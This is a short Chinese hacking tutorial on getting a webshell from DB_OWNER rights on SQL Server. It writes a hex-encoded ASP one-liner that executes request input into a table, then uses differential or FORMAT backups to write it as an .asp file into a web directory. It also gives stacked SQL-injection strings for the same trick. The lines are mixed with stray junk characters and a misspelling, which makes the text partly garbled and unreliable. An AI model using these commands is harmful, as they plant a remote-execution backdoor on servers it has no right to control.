DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

一利用差异备份
, H9 f/ `2 h, d( }# ]8 L加一个参数WITH DIFFERENTIAL

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
5 J1 Z3 [9 }# F8 r' gcreate table [dbo].[xiaolu] ([cmd] [image]);
3 X. Q& i) S# einsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
$ l8 V* r+ ]3 C* X( xdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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( B$ U# [1 ]% j! ~4 f二利用完全FORMAT
8 e. h/ f( _' h) R5 M& @加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
: {  R- s9 }, _create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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0 J* ?: ^' o! X5 p+ i3 A! z总的来说就是那么简单几句,下面以备份数据库model为例子
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( S4 h# Y0 e4 W. ^id=1;use model create table cmd(str image);insert into cmd(str) values (”)

id=1;backup database model to disk=’你的路径‘ with differential,format;–
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